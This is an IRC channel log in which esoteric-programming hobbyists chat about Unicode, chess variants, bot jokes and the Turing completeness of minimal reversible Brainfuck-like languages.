17:32:26 -!- deltab has joined. 17:32:28 -!- erdic has joined. 17:33:00 -!- ^_^v has quit (Ping timeout: 240 seconds). 17:33:56 <\oren\> I bought Adidas shoes. They seem good. 17:41:24 or, better yet, a binary tree 17:41:44 it's new & it's green 17:42:11 -!- propumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 17:42:33 -!- nycs has quit (Quit: This computer has gone to sleep). 17:47:53 -!- ^_^v has joined. 17:50:22 -!- Zarutian has quit (Quit: Zarutian). 17:50:25 green? red-black seems to be the more popular colour scheme 17:51:04 fine 17:51:06 it's red 17:54:38 -!- ^_^v has quit (Quit: This computer has gone to sleep). 17:58:01 -!- ^_^v has joined. 17:58:19 But do they have a blatant logo on them? 17:58:19 That's one of the worst things about shoes. 17:58:24 Logos are scow. 18:06:35 -!- contrapumpkin has joined. 18:10:42 hi cococontrapumpkin 18:10:45 ? ntrapumpkin 18:10:49 ntrapumpkin? ¯\(°​_o)/¯ 18:11:14 ? Ả 18:11:15 ​Ả? ¯\(°​_o)/¯ 18:11:36 -!- atslash has quit (Ping timeout: 268 seconds). 18:12:06 -!- ^_^v has quit (Quit: This computer has gone to sleep). 18:12:40 -!- atslash has joined. 18:22:31 -!- Zarutian has joined. 18:26:38 -!- ^_^v has joined. 18:35:17 -!- DHeadshot has joined. 18:44:13 unicode 18:44:19 U+0010 \ UTF-8: 10 UTF-16BE: 0010 Decimal:  \ \ Category: Cc (Other, Control) \ Bidi: BN (Boundary Neutral) 18:44:32 Boundary Neutral? 18:52:31 -!- hppavilion[1] has joined. 19:01:40 -!- sleffy has joined. 19:01:59 -!- Zarutian has quit (Ping timeout: 260 seconds). 19:09:53 I am agonising help 19:12:16 I've finally actually applied for the PhD I've been working on my application since December 19:12:36 -!- Zarutian has joined. 19:12:53 -!- int-e_ has changed nick to int-e. 19:13:23 Taneb: I found a bug in the paper I'm writing. I have little sympathy for anyone else right now. So suck it up :-P 19:16:17 int-e, what's the paper on? 19:17:35 the part that broke is a decision procedure for UN (with respect to reductions) for ground TRSs. 19:18:54 Can you explain? I don't know either of those acronyms, unless you're talking about the United Nations 19:20:51 UN = unique normal forms, TRS = term rewrite systems. I'm not sure it helps... and right now my time is better spent on the paper instead of explaining basics. 19:22:19 http://cl-informatik.uibk.ac.at/users/bf3/publications/2016-BF-IWC.pdf is a buggy version of the paper. 19:23:10 Yeah, fair enough 19:26:47 -!- sleffy has quit (Ping timeout: 260 seconds). 19:27:32 -!- hppavilion[1] has quit (Ping timeout: 258 seconds). 19:28:37 -!- Remavas has joined. 20:15:55 -!- orby has joined. 20:16:11 -!- hppavilion[1] has joined. 20:16:32 -!- DHeadshot has quit (Ping timeout: 252 seconds). 20:18:06 [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51683&oldid=51679 * Orby * (+1256) 20:23:29 ɲeh 20:25:38 -!- Remavas has changed nick to RemavAFK. 20:25:59 Unicode has † and ‡, but not... wait, can't type it 20:26:10 It doesn't have an inverted dagger (AFAICT) to go with dagger and double-dagger 20:26:13 And this annoys me. 20:26:28 understandable 20:26:41 orthogonality is deeply satisfying in its symmetry 20:27:01 ...ha, sure 20:27:10 -!- RemavAFK has quit (Remote host closed the connection). 20:35:28 -!- Melvar has changed nick to Melvar. 20:57:41 ^8ball do I have to get up early tomorrow? 20:57:41 Yes. 20:57:54 ^8ball can I get a second opinion on that? 20:57:55 Yes. 20:57:59 yay. 20:58:10 ^8ball a 20:58:10 Yes. 20:58:11 ^8ball ab 20:58:11 Yes. 20:58:12 ^8ball aba 20:58:12 No. 21:06:43 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 21:07:21 -!- ruut has joined. 21:15:00 ^8ball abab 21:15:00 No. 21:15:03 ^8ball aba 21:15:03 No. 21:15:04 ^8ball abac 21:15:04 Yes. 21:15:08 ^8ball abad 21:15:08 No. 21:15:09 ^8ball abada 21:15:09 Yes. 21:15:19 ^8ball abadaba cabadaba yabadaba nabadaba 21:15:19 No. 21:16:41 /kick rdococ 21:19:44 -!- moony has quit (Remote host closed the connection). 21:19:49 -!- ruut has quit (Quit: Leaving). 21:20:10 -!- ruut has joined. 21:23:28 -!- sleffy has joined. 21:24:39 quintopia: you coming to knitting tonight? 21:32:15 [wiki] [[Talk:Morsefuck]] N https://esolangs.org/w/index.php?oldid=51684 * BlueOkiris * (+1229) /* Binary Version */ new section 21:34:24 <\oren\> @tell hppavilion[1] ⸶⸷⸸ are in unicode what are you talking about 21:34:24 Consider it noted. 21:36:45 > let fibs = 1:1: zipWith (+) fibs (tail fibs) in take 15 fibs 21:36:47 [1,1,2,3,5,8,13,21,34,55,89,144,233,377,610] 21:38:02 -!- DHeadshot has joined. 21:39:07 shapr: what 21:39:18 i'm coming to work tonight 21:39:21 oh right 21:39:23 I forgot 21:39:35 i don't know anything about knitting 21:39:50 that's why you should come to the knitting circle! 21:40:01 but what if i have no interest in it? 21:43:32 -!- Seaser has joined. 21:43:37 -!- sease has quit (Ping timeout: 255 seconds). 21:44:45 /kick quintopia 21:44:47 :P 21:50:35 -!- Seaser has quit (Ping timeout: 252 seconds). 21:57:16 -!- vifino has quit (Quit: Who turned this off?! D:<). 22:00:05 -!- Seaser has joined. 22:01:16 -!- sease has joined. 22:04:54 -!- Seaser has quit (Ping timeout: 260 seconds). 22:05:41 -!- MoALTz has quit (Quit: Leaving). 22:06:32 -!- vifino has joined. 22:06:46 -!- ^_^v has quit (Quit: This computer has gone to sleep). 22:10:00 -!- Seaser has joined. 22:12:46 -!- sease has quit (Quit: Leaving). 22:12:57 -!- Seaser has quit (Client Quit). 22:13:16 -!- Seaser has joined. 22:18:50 -!- ruut has left ("Leaving"). 22:45:57 -!- Akaibu has joined. 22:46:39 -!- hppavilion[1] has joined. 22:46:55 -!- atslash has quit (Ping timeout: 260 seconds). 22:48:04 -!- atslash has joined. 22:48:29 -!- zzo38 has joined. 22:53:01 -!- Remavas has joined. 23:03:25 <\oren\> I want AI-chan to play kerbal space program 23:03:34 heh 23:03:37 <\oren\> everyone post on AI-chan's videos, アイちゃんお願い、Kerbal Space Program遊んでください！ 23:03:48 nah 23:04:11 it works better for simple games 23:05:43 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 23:06:53 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:07:53 -!- sease has joined. 23:11:13 -!- Seaser has quit (Ping timeout: 240 seconds). 23:44:02 -!- DHeadshot has quit (Ping timeout: 260 seconds). 23:51:24 -!- hppavilion[1] has joined. 23:52:05 -!- Seaser has joined. 23:53:01 -!- DHeadshot has joined. 23:55:33 -!- sease has quit (Ping timeout: 260 seconds). 2017-04-14: 00:06:42 -!- DHeadshot has quit (Ping timeout: 260 seconds). 00:27:43 -!- atslash has quit (Ping timeout: 240 seconds). 00:28:30 -!- atslash has joined. 00:29:14 -!- sease has joined. 00:30:30 -!- Seaser has quit (Ping timeout: 260 seconds). 00:35:34 -!- oerjan has joined. 00:38:00 -!- sease has quit (Quit: Leaving). 00:45:27 -!- Seaser has joined. 00:49:48 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 00:51:52 -!- Akaibu has quit. 00:56:25 [wiki] [[Talk:Morsefuck]] https://esolangs.org/w/index.php?diff=51685&oldid=51684 * Oerjan * (+424) unsigned + comment 00:57:20 unidecode � 00:57:21 ​[U+FFFD REPLACEMENT CHARACTER] 00:58:01 i don't think the wiki supports raw byte data like that. 01:02:34 -!- Seaser has quit (Quit: Leaving). 01:16:29 [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51686&oldid=51683 * Oerjan * (+590) /* Observation */ Problems 01:16:53 orby: i do hth 02:59:27 -!- sleffy has quit (Ping timeout: 260 seconds). 03:16:17 -!- Zarutian has quit (Quit: Zarutian). 03:30:10 -!- sleffy has joined. 03:37:11 -!- sleffy has quit (Ping timeout: 260 seconds). 03:37:38 -!- sleffy has joined. 03:53:12 -!- Remavas has changed nick to RemavasZzZz. 04:09:17 -!- orby has quit (Ping timeout: 260 seconds). 04:22:25 -!- ais523 has quit. 04:29:34 -!- atslash has quit (Quit: This computer has gone to sleep). 04:33:57 -!- sleffy has quit (Ping timeout: 260 seconds). 04:35:39 -!- sleffy has joined. 05:00:00 <\oren\> hppavilion[1]: 05:00:22 <\oren\> hppavilion[1]: 05:00:46 <\oren\> sone of a bitch why won't this copypate right 05:01:08 <\oren\> AHA! ⸶⸷⸸ are the characters you were looking for 05:01:26 <\oren\> unicode ⸶⸷⸸ 05:01:28 U+2E36 DAGGER WITH LEFT GUARD \ UTF-8: e2 b8 b6 UTF-16BE: 2e36 Decimal: ⸶ \ ⸶ \ Category: Po (Punctuation, Other) \ Bidi: ON (Other Neutrals) \ \ U+2E37 DAGGER WITH RIGHT GUARD \ UTF-8: e2 b8 b7 UTF-16BE: 2e37 Decimal: ⸷ \ ⸷ \ Category: Po (Punctuation, Other) \ Bidi: ON (Other Neutrals) \ \ U+2E38 TURNED DAGGER \ UTF-8: e2 05:04:42 -!- RemavasZzZz has quit (Remote host closed the connection). 05:09:00 -!- contrapumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 05:15:00 -!- contrapumpkin has joined. 05:25:55 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 06:11:15 -!- Sgeo_ has joined. 06:13:43 -!- Sgeo has quit (Ping timeout: 268 seconds). 06:21:11 -!- atslash has joined. 06:21:57 -!- atslash has quit (Client Quit). 07:16:37 -!- fractal has quit (Ping timeout: 264 seconds). 07:24:55 -!- sleffy has quit (Ping timeout: 260 seconds). 07:31:35 a silly chess variant: k-move rule, for k much smaller than 50 07:33:26 I wonder if k=1 is actually playable 07:36:10 Do you like this? http://zzo38computer.org/textfile/miscellaneous/gurps/traits 07:36:45 Jafet: With a small number, perhaps making the player who fails to lose instead of drawn, might do? I am not sure 07:37:20 good idea 07:38:27 -!- MoALTz has joined. 08:08:22 -!- AnotherTest has joined. 08:27:04 -!- oerjan has quit (Quit: Nite). 08:31:24 -!- fractal has joined. 08:46:28 I'm working on a constructed language and need inspiration. help. 10:03:27 -!- goobers has joined. 10:03:52 you wanna know what ? 10:04:15 capital punishment is fucking great 10:04:18 works like a charm 10:15:14 You know what else works great? 10:15:23 Empathy cortex nullifiers. 10:15:24 :P 10:19:04 k 10:20:45 empathy is for numales 10:20:48 and women 10:21:39 Not males? 10:22:07 Empathy is for the complement of the set {goobers} :P 10:23:22 Ping. 10:23:24 ? pand 10:23:25 pand? ¯\(°​_o)/¯ 10:23:27 ? panda 10:23:27 I know we're very flexible when it comes to being off-topic, but this particular one is pushing it. 10:23:28 panda? ¯\(°​_o)/¯ 10:23:30 yeah yeah ? look at me i know set theory and that makes me smart 10:23:34 go back to school kid 10:23:49 fizzie: this channel has a topic? o_o 10:23:50 jk 10:24:03 goobers: that's not the impression I was trying to give off, but okay 10:24:10 okay 10:24:14 ill stop being edgy 10:24:23 after all, I'm not the one whose name rhymes with boogers. :P 10:25:01 https://www.youtube.com/watch?v=9Ei89MsnCd0 10:34:17 -!- erkin has joined. 11:26:51 -!- goobers has left ("Leaving"). 11:51:44 -!- augur has joined. 12:02:25 I just had to clear about 10 cm of snow from my car. In April. Wtf 12:09:56 magic 12:10:09 -!- augur has quit (Remote host closed the connection). 12:10:36 rdococ: no, just highly unusual weather. Annoying since I switched to summer tyres instead of studded tyres almost 2 weeks ago. 12:10:53 Vorpal: caused by magic 12:10:55 Thankfully I only need to drive a relatively short distance today 12:11:01 tires tyres 12:11:26 hm? 12:12:18 drive carefully 12:12:25 indeed I will 12:12:41 also, it's called aprilväder for a reason :p 12:12:56 Somehow there's no snow here, yet I keep hearing there's snow further south 12:13:22 and I'm even in a coldish area as far as greater Stockholm goes 12:13:28 FireFly: I called my parents who live about 20 km away, they only had a tiny bit of snow. But here it is 5-10 cm 12:13:38 ah 12:14:19 Also Stockholm probably has milder weather than further inland 12:18:42 @metar lowi 12:18:43 LOWI 141050Z VRB06KT 9999 FEW050 15/07 Q1014 NOSIG 12:27:11 -!- Remavas-Hex has joined. 12:48:57 [wiki] [[Malbolge programming]] https://esolangs.org/w/index.php?diff=51687&oldid=49954 * Pgimeno * (+4240) Reinstate a section that explains an improved technique 12:51:43 [wiki] [[Malbolge programming]] M https://esolangs.org/w/index.php?diff=51688&oldid=51687 * Pgimeno * (-2124) Remove duplicate section introduced by mistake in the previous edit 12:57:02 I'm working on a little esolang of my own. 13:04:46 [wiki] [[Malbolge20]] N https://esolangs.org/w/index.php?oldid=51689 * Pgimeno * (+263) Add Malbolge20 13:05:45 Interesting one 13:05:48 *Browse* 13:05:56 [wiki] [[Malbolge]] https://esolangs.org/w/index.php?diff=51690&oldid=51384 * Pgimeno * (+55) /* See also */ Add Malbolge20 13:07:13 [wiki] [[Malbolge20]] M https://esolangs.org/w/index.php?diff=51691&oldid=51689 * Pgimeno * (+52) Add See Also, change header level 13:07:51 is there a way to give code a color scheme? 13:08:03 as in, in  tags 13:10:09 [wiki] [[Malbolge Unshackled]] M https://esolangs.org/w/index.php?diff=51692&oldid=51662 * Pgimeno * (+16) Add Malbolge20 to See Also 13:11:25 * rdococ wonders if there is a WIP template 13:16:52 [wiki] [[Malbolge20]] M https://esolangs.org/w/index.php?diff=51693&oldid=51691 * Pgimeno * (+50) Mention the extended size 13:17:59 I do know my language will have [cosign] as a synonym for [abs] :P 13:47:05 or it might not :/ 13:53:22 -!- DHeadshot has joined. 14:10:24 [wiki] [[Malbolge programming]] https://esolangs.org/w/index.php?diff=51694&oldid=51688 * Pgimeno * (+0) Change the order of the last two sections, as one somewhat depends on the other 14:38:16 -!- boily has joined. 14:41:53 -!- ^_^v has joined. 14:44:28 wisdom 14:44:41 wfraatw//A WFRAATW is a well-founded recursive acronym akin to "WFRAATW". 14:51:11 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 14:51:22 imagine a language just like brainfuck in every way, but all input has to be appended with a "B" at the beginning, or the interpreter will crash. 14:51:24 would it be TC? 14:53:29 -!- sebbu2 has quit (Read error: Connection reset by peer). 14:56:08 -!- sebbu has joined. 15:02:02 [wiki] [[Upsilon]] N https://esolangs.org/w/index.php?oldid=51695 * Rdococ * (+3582) Upvalues! 15:02:23 -!- augur has joined. 15:02:37 [wiki] [[Upsilon]] https://esolangs.org/w/index.php?diff=51696&oldid=51695 * Rdococ * (-13) /* Fundamental Types */ 15:02:41 hi 15:03:19 Interested in my upvalue-based language? 15:04:33 I really hope I used that term correctly. 15:09:30 [wiki] [[Upsilon]] https://esolangs.org/w/index.php?diff=51697&oldid=51696 * Rdococ * (-82) changed upvalues to upvars 15:10:40 [wiki] [[Upsilon]] https://esolangs.org/w/index.php?diff=51698&oldid=51697 * Rdococ * (+6) /* Fundamental Types */ forgot closing pre tag 15:10:58 [wiki] [[Upsilon]] M https://esolangs.org/w/index.php?diff=51699&oldid=51698 * Rdococ * (-1) /* Fundamental Types */ 15:21:27 [wiki] [[User:Rdococ]] M https://esolangs.org/w/index.php?diff=51700&oldid=51374 * Rdococ * (+94) /* My hopefully better esoteric languages (2017 CE - infinity CE) */ 16:34:35 wisdom 16:34:36 gazspaczo//gazspaczo iz a hungarian szoup, tradizsonally szerved cold for hot szummer dayz 16:34:53 ? pho 16:34:54 Phở is a Vietnamese soup invented by lyyyyyyynn to stress-test implementations of Unicode combining characters. 16:35:12 hellynn! 16:36:20 -!- shapr has left ("ERC Version 5.3 (IRC client for Emacs)"). 16:43:31 -!- DHeadshot has quit (Ping timeout: 260 seconds). 16:45:58 -!- AnotherTest has quit (Ping timeout: 258 seconds). 16:52:40 -!- AnotherTest has joined. 17:12:42 -!- augur has quit (Remote host closed the connection). 17:16:02 -!- augur has joined. 17:18:06 -!- hppavilion[1] has joined. 17:24:37 -!- sleffy has joined. 17:26:43 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 17:28:08 -!- boily has quit (Quit: AMENABLE CHICKEN). 17:40:24 -!- DHeadshot has joined. 17:52:13 <\oren\> So I came to work this morning and guess what 17:52:22 <\oren\> it's a holiday 17:56:53 Have a good Good Friday 18:10:50 hi 18:11:20 boily was in here an awful lot this morning. i guess he had a holiday too. 18:11:50 it's a mourning morning 18:12:15 chrono.gg is selling an ASCII rogue-like dungeon crawler today. it looks pretty fun. 18:12:59 -!- AnotherTest has quit (Ping timeout: 258 seconds). 18:13:09 ('In German-speaking countries, Good Friday is generally referred to as Karfreitag (Kar from Old High German kara‚ "bewail", "grieve"‚ "mourn", Freitag for "Friday"): Mourning Friday.') 18:13:24 Of course it's also evening already. 18:15:37 -!- Zarutian has joined. 18:16:33 -!- Zarutian has quit (Read error: Connection reset by peer). 18:16:51 is anyone else going to get this game 18:17:02 -!- Zarutian has joined. 18:17:21 -!- AnotherTest has joined. 18:18:38 someone might, I won't 18:22:17 [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51701&oldid=51686 * Orby * (+2488) A different approach? 18:22:53 -!- orby has joined. 18:28:59 -!- hppavilion[1] has joined. 18:29:17 -!- sleffy has quit (Ping timeout: 260 seconds). 18:30:10 -!- augur has quit (Remote host closed the connection). 18:37:41 -!- AnotherTest has quit (Ping timeout: 255 seconds). 18:49:12 -!- kritixilithos has joined. 18:49:48 -!- kritixilithos has quit (Quit: ChatZilla 0.9.93 [Firefox 51.0.1/20170125094131]). 18:51:00 -!- augur has joined. 18:51:58 -!- sleffy has joined. 18:55:32 -!- augur has quit (Ping timeout: 258 seconds). 19:00:22 -!- sftp has quit (Max SendQ exceeded). 19:00:45 -!- sftp has joined. 19:29:50 -!- hppavilion[1] has quit (Ping timeout: 268 seconds). 19:35:52 -!- AnotherTest has joined. 19:36:26 -!- augur has joined. 19:38:39 -!- augur has quit (Remote host closed the connection). 19:39:20 -!- augur has joined. 19:40:15 -!- AnotherTest has quit (Ping timeout: 245 seconds). 19:40:30 -!- hppavilion[1] has joined. 19:44:17 [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51702&oldid=51701 * Orby * (+403) /* A different way of thinking about the problem */ More examples 20:06:28 -!- ^_^v has quit (Quit: This computer has gone to sleep). 20:07:20 -!- hppavilion[1] has quit (Ping timeout: 245 seconds). 20:07:49 -!- ^_^v has joined. 20:09:06 -!- hppavilion[1] has joined. 20:10:23 -!- ^_^v has quit (Client Quit). 20:15:47 -!- Remavas has joined. 20:35:48 -!- AnotherTest has joined. 20:40:05 -!- AnotherTest has quit (Ping timeout: 252 seconds). 20:41:45 -!- trn has quit (Quit: quit). 20:56:59 -!- ^_^v has joined. 21:06:43 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 21:09:45 -!- hppavilion[1] has joined. 21:15:02 -!- hppavilion[1] has quit (Quit: HRII'FHALMA MNAHN'K'YARNAK NGAH NILGH'RI'BTHNKNYTH). 21:15:30 -!- hppavilion[1] has joined. 21:16:36 -!- DHeadshot has quit (Ping timeout: 258 seconds). 21:43:56 -!- MoALTz has quit (Quit: Leaving). 21:53:47 [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51703&oldid=51702 * Orby * (+924) Looping & Fredkin gate 21:56:17 -!- trn has joined. 22:01:59 -!- augur has quit (Remote host closed the connection). 22:05:52 -!- augur has joined. 22:07:23 -!- augur has quit (Remote host closed the connection). 22:07:35 -!- augur has joined. 22:07:42 -!- hppavilion[1] has quit (Ping timeout: 268 seconds). 22:08:38 -!- ^_^v has quit (Quit: This computer has gone to sleep). 22:20:20 -!- ^_^v has joined. 22:20:49 -!- flawful has changed nick to oldnick. 22:21:28 -!- oldnick has changed nick to arebazi. 22:21:53 -!- arebazi has changed nick to notiza. 22:24:16 -!- hppavilion[1] has joined. 22:32:19 -!- erkin has joined. 22:32:47 -!- notiza has changed nick to candidesucks. 22:32:56 -!- candidesucks has changed nick to candideisawful. 22:33:35 Do you like this? http://zzo38computer.org/textfile/miscellaneous/wasm.h 22:36:40 -!- candideisawful has changed nick to izabera. 22:36:41 -!- AnotherTest has joined. 22:45:10 -!- boily has joined. 22:45:45 wisdom 22:45:50 pokemon//A pokemon is a monster that you keep in your pocket. Taneb invented them. 22:46:08 . o O ( the monsters or the pockets? ) 22:46:50 both 22:46:55 -!- augur has quit (Remote host closed the connection). 22:47:39 mynamello. a prolific inventor! 22:58:14 -!- ^_^v has quit (Quit: This computer has gone to sleep). 23:05:03 -!- Remavas has quit (Remote host closed the connection). 23:06:43 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 23:06:54 ? pocket 23:06:55 pocket? ¯\(°​_o)/¯ 23:06:57 ? monster 23:06:58 monster? ¯\(°​_o)/¯ 23:29:29 -!- AnotherTest has quit (Ping timeout: 252 seconds). 2017-04-15: 00:02:43 -!- [io] has changed nick to iovoid. 00:04:03 hellovoid. 00:04:09 wisdom 00:04:10 mirth//Mirths are juvenile moths. They giggle a lot. 00:04:51 -!- DHeadshot has joined. 00:06:13 -!- hppavilion[1] has joined. 00:34:44 coily 00:35:00 did you see todays chrono.gg deal? 00:35:21 an ascii rogue-like dungeon crawler ;) 00:46:29 -!- DHeadshot has quit (Ping timeout: 252 seconds). 00:52:31 QUINTHELLOPIA! 00:52:33 AAAAAAAAAAAAAH! 00:52:37 is it still dealing? 00:54:19 BOUGHT! 01:05:04 -!- sleffy has quit (Ping timeout: 258 seconds). 01:13:21 wisdom 01:13:23 madness//madness lies thataway. 01:13:36 ? mad 01:13:37 This wisdom entry was censored for being too accurate. 01:13:42 bin quiens. 01:15:44 ? alice 01:15:45 Alice doesn't want to go among mad people. 01:16:03 -!- oerjan has joined. 01:17:23 Went to "An exhibition of the Web’s lost past" today. Well, yesterday. 01:18:21 hoily. 01:18:29 They had early webby things, like a NeXT box showing Old Tim's website. 01:19:13 . o O ( but if they have it, it's not lost... ) 01:20:19 They also had a classroom full of BBC Micros, courtesy of the Centre for Computing History in Cambridge. 01:20:28 Doesn't really have anything to do with the web though. 01:26:06 ? bbc 01:26:07 The BBC is the BreadBox Corporation. Its inventions include, without limitation, Muppets, tiny elfs, and villages in Norway. Taneb invented it. 01:26:31 grwp easter 01:26:43 ^style alice 01:26:43 Selected style: alice (Books by Lewis Carroll) 01:26:49 No output. 01:26:52 fungot: bread or taxes? 01:26:53 int-e: we have now to mark the two fnord don't balance each fnord more than you can fnord a man, whose business fnord so, my child!' the queen said. ' how many days are there in a year? i should think it did go! why, if ever i did fall fnord which there's no chance of a night's rest here, i'm sure you'll forgive me: for i really couldn't bring myself to say ' good-bye,' and the whole party swam to the shore and then i'll tell y 01:27:29 fungot: I think you have the wrong book 01:27:29 int-e: ' in the water and wouldn't come out again. and it got both its paws on its tail. " it's all right, bruno, wouldn't you? he hasn't fnord tea, and fnord 01:27:42 fungot: getting closer? 01:27:42 int-e: " music?" said sylvie. 01:27:55 fungot: but still no bread :-( 01:27:55 int-e: " its habit of getting up and picking the daisies, when suddenly a footman in livery came running out of the wood. they were not of the folk we meet in fnord drawing-rooms who conceal all such feelings as they may chance to possess beneath the fnord mask of a conventional fnord. ' unless you leave this house,' he said, ' so that one could keep up a conversation! but how can you talk with your eyes shut?" said alice. 01:32:33 fungot: I wore the fungot shirt to that exhibition, but sadly nobody asked about it. 01:32:33 fizzie: " fnord lindon," said i, " to your ear that sounds an easy thing? try it yourself, my little dear!' alice got up to do it!' 01:35:31 -!- Zarutian has quit (Quit: Zarutian). 01:37:06 hellørjan! 01:42:39 YouTube seems to be dead set about prefixing the tab's name with a mysterious “(11)”... 01:43:51 OKAY 01:44:34 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 01:49:09 fungot: fnord. 01:49:09 boily: " yet is it wise to leave it fnord which you will say " fnord seen gardens, compared with which that would be awkward, i admit, is very very kindly meant-- still, to fnord them together under his chin the end of it, she saw that it had eyes and a nose and mouth; and when she had finished it, ' they might go different ways.' 01:58:01 slwd bbc//s/and \(.*y$$/\1, and inventors of all things/
01:58:04  bbc//The BBC is the BreadBox Corporation. Its inventions include, without limitation, Muppets, tiny elfs, villages in Norway, and inventors of all things. Taneb invented it.
02:01:31  Six degrees to Taneb.
02:02:34  fungot: Taneb.
02:02:34  rdococ: " if tibbs is anything like me, it's possible," i argued, you must take the consequences!
02:02:43  fungot: you = nuts.
02:02:43  rdococ: " let me go by without even one fnord bark. " he isn't, indeed! so true!" the warden gently assented. " sylvie just knows nuffin at all!"
02:04:22  rdochelloc. do not miff the fungot.
02:04:22  boily: the baron gazed in astonishment. " why is it of no consequence to us, i is so tired and hungry!"
02:06:22 -!- moonythedwarf has joined.
02:06:27  unidecode ᅠ
02:06:28  ​[U+1160 HANGUL JUNGSEONG FILLER]
02:06:33  ah
02:06:44  mhellony. eh?
02:09:17  i just wanted to unideocde that character, its invisible in most/all fonts
02:12:44  [wiki] [[Talk:Picofuck]]  https://esolangs.org/w/index.php?diff=51704&oldid=51703 * Oerjan * (+518) /* A different way of thinking about the problem */ First example
02:17:33  [wiki] [[Talk:Picofuck]]  https://esolangs.org/w/index.php?diff=51705&oldid=51704 * Oerjan * (+143) /* Another example */ I don't think so.
02:18:21  [wiki] [[Talk:Picofuck]]  https://esolangs.org/w/index.php?diff=51706&oldid=51705 * Oerjan * (+11) /* Another example */
02:22:14  ? bored
02:22:15  bored? ¯$$°​_o)/¯ 02:22:27 hoily: then do not drive me to the boredom horizon 02:22:34 oerjan: Howdy! 02:22:34 fungot: boily 02:22:34 rdococ: " course i were!" cried the sub-warden. the professor fnord it longer for us. and it walked a tiny little way!" 02:22:41 ? fnord 02:22:42 ​? ¯\(°​_o)/¯ 02:22:48 ? fungot 02:22:48 rdococ: the result would have been worse!" 02:22:49 fungot is our beloved channel mascot and voice of reason. 02:22:56 hellorby! 02:22:56 har 02:22:57 har 02:24:55 <\oren\> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa 02:24:57 <\oren\> My best scientist in my empire decided to start popping pills whyyyyyyy 02:25:41 ɲ 02:26:11 Guess... the... text! 02:26:12 02:26:17 -!- sleffy has joined. 02:26:21 I'm thinking about "yet another example" and whether or not putting a loop outside the program is sufficient for turing completeness 02:26:35 sounds orbilicious 02:26:40 have you seen Upsilon yet? 02:26:54 I have not, I'll take a look 02:26:56 orby: i think your third example is somewhat off in its explanation 02:27:23 Actually, I was warning you not to look, but okay. 02:27:28 in particular, you translate something to > that clearly starts a loop content. 02:27:31 OKAY 02:27:38 YAKO 02:27:41 ? okay 02:27:42 okay? ¯\(°​_o)/¯ 02:27:53 *context 02:28:25 The third example doesn't have (or shouldn't have) any open parens translated in the [ and ] commands 02:28:27 he\\oren\, hellorby. 02:28:29 \oren\: clearly you overworked him hth 02:29:01 just been brainstorming and trying to come at it from different angles 02:29:19 \oren\: popping pills isn't all bad. see: erdős 02:29:22 just redirect the IP velocity 02:30:15 orby: oh, misread. 02:30:32 in the third example the [ and ] don't actually need to match, I'm not using those symbols for any specific reason 02:30:39 right 02:31:05 orby: oh that applies to the second one too 02:31:38 orby: ok in that case scratch my comment on it 02:32:20 correct, yeah I wasn't thinking about looping (which is definitely missing) from the 2nd and 3rd examples 02:32:43 [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51707&oldid=51706 * Oerjan * (+163) /* Another example */ Never mind 02:32:53 I was thinking about what happens when you put the whole program in a loop and try to achieve turing completeness in that context 02:33:18 It's a lot of braindumping, sorry if it's difficult to follow 02:34:34 I was thinking today about the language >, *, < and a command F which swaps the current cell + 1 with current cell + 2 if the current cell is on 02:34:48 orby: btw i have an argument that RBF _can_ express any reversible logic gate, shall i explain it? 02:34:50 cswap, or fredkin gate, or whatever you want to call it 02:35:20 (on a finite set of cells) 02:35:34 oerjan: I think that's true because we can express toffoli gates in RBF, what is your argument? 02:36:16 you can swap any bit based on any condition of other bits 02:36:33 which i guess is about the same as toffoli 02:36:46 yeah, my understanding is that a conditional swap aka fredkin gate is also universal 02:37:05 orby: oh i misspoke 02:37:16 nah, you didn't misspeak 02:37:16 i meant _toggle_ any bit. 02:37:21 oh oh 02:37:25 hmm 02:38:08 yeah, I think the fact that conditional toggling + shifting is enough to construct universal gates is the key 02:38:20 for example, to toggle a cell if n cells to the left are 1, do (>(>(>...(>*<)...<)<)<) 02:38:26 at least that's how I think about it 02:38:26 yeah 02:38:50 then for any other case, insert *s as needed 02:38:58 exactly 02:39:28 So, I'm interested in your thoughts on this language and whether or not you think it'd be turing complete 02:39:39 Say we have >, *, < and conditional swap 02:39:43 which I'm calling F 02:39:44 and this swaps two states of the whole configuration that only differ in one bit. and that generates the whole permutation group of configurations. 02:40:10 hi 02:40:16 hello 02:40:30 yeah, I've found it useful to start thinking about automorphisms from the tape to itself 02:40:41 instead of thinking about shifting 02:41:27 So if we take >* because I think there is a 2 command simple translation of >* orby: no, because you don't have conditional >< so you either run off in one direction or stay within finitely many cells 02:42:49 -!- sleffy has quit (Ping timeout: 258 seconds). 02:42:49 that makes sense 02:42:53 -!- hppavilion[1] has quit (Read error: Connection reset by peer). 02:43:12 -!- hppavilion[1] has joined. 02:43:55 so like, if the tape were unbounded on both sides, there'd be no way to visit cell 0, 1, -1, 2, -2, 3, -3, 4, -4, ... 02:44:02 orby: i think there have been languages based on "brainfuck without any loop except around the whole program" at least discussed here 02:44:45 yeah I'm sure I read about that idea somewhere 02:45:12 hm but the running off argument must apply to them too. 02:45:38 I would think so, unless there is some provision for conditional execution 02:46:01 Like, S which skips the next command if the current cell is non-zero, or something like that 02:46:25 maybe if you had unbounded cells on a wrapping tape, it could work. 02:46:47 but i don't remember any of this clearly. 02:46:59 (i think ais523 might know) 02:47:01 yeah, that'd probably work 02:47:47 <\oren\> AAAAAAA now my new head scientist went into politics and became the president! AAAAAAAAAAA 02:48:03 